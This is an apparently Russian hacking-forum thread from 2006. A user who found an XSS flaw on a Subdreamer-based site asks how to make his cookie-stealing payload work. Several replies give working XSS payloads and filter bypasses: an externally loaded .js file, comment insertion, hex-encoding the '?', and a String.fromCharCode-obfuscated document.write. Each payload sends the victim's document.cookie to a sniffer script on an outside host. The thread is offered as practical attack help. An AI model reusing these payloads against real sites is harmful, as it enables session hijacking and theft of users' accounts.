Вопрос по Xss

Discussion in 'Болталка' started by gadjet, 3 Dec 2006.

  1. gadjet

    gadjet Elder - Старейшина

    Joined:
    17 Dec 2005
    Messages:
    58
    Likes Received:
    18
    Reputations:
    2
    Нашел на сайте XSS, однако при подстановке
    >"><script>img = new Image();img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
    как будто бы обрезается все, что находится после ? и получается следующее:

    <link>http://www......ru/<script>img = new Image();img.src="http://antichat.ru/cgi-bin/s.jpg</link>

    Как решить эту проблему? Сайт стоит на Subdreamer.
     
  2. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Скачай Subdreamer и посмотри как там идет фильтрация даных и поймешь почему отрезается, а потом уже думай как это обойти

    P.S В последних версиях CMS стоит фильтрация +document.cookie
    P.S.S
    Сделай сылку на .js фаил и туда запихни
    PHP:
    img = new Image();img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
     
    #2 DIAgen, 3 Dec 2006
    Last edited: 3 Dec 2006
    1 person likes this.
  3. __XT__

    __XT__ Elder - Старейшина

    Joined:
    7 Nov 2006
    Messages:
    10
    Likes Received:
    17
    Reputations:
    7
    не надо не чего скачивать все проги имеют свой алгоритм..лишь твоя голова имеет конструктор алгоритмов.
    Ты не написал это активная или пассивная XSS

    1) Если активная блин то скорее всего есть проверка на конец строки чтобы было расширение тогда попробуй
    >"><script>img = new Image();img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script> /1.jpg
    и вообще это тупо...юзай готовые тэги и их динамические параметры или высший пилотаж в активных XSS енто вложенные тэги.

    Если ты указал пассивную XSS тогда скорее всего идёт проверка на длину строки переменной.
    больше симолов н е чем отведенно под неё не вставишь.
    Поэтому лучший тут выход будет юзать скрипт с другого ресурса.
    к примеру вставить:
    <script src=http://qwe.ru/1.js></script>

    а на сайте http://qwe.ru/ в 1.js вставить скрипт передачи кукисов:

    img = new Image();img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
     
  4. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    только:
    PHP:
    img = new/**/ Image();img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
    ;)
     
  5. gadjet

    gadjet Elder - Старейшина

    Joined:
    17 Dec 2005
    Messages:
    58
    Likes Received:
    18
    Reputations:
    2
    Пробывал и таким макаром, опять же простое alert(document.cookie) в файле http://qwe.ru/1.js работает, а выражения типа
    никчему не приводят.
    XSS пассивная.
     
    #5 gadjet, 4 Dec 2006
    Last edited: 4 Dec 2006
  6. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Если фильтруется символ ? зашифруй его в HEX
    img = new Image();img.src="http://antichat.ru/cgi-bin/s.jpg\x3F"+document.cookie;
     
  7. __XT__

    __XT__ Elder - Старейшина

    Joined:
    7 Nov 2006
    Messages:
    10
    Likes Received:
    17
    Reputations:
    7
    1.js
    кидай псевдо-дефейс на снифф

    document.write(String.fromCharCode(60,115,99,114,105,112,116,62,105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,105,109,103,46,115,114,99,61,34,104,116,116,112,58,47,47,97,110,116,105,99,104,97,116,46,114,117,47,99,103,105,45,98,105,110,47,115,46,106,112,103,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,32,60,47,115,99,114,105,112,116,62))
     
Loading...
Similar Threads - Вопрос
  1. Shawn1x
    Replies:
    5
    Views:
    1,897
  2. G0mer
    Replies:
    1
    Views:
    1,241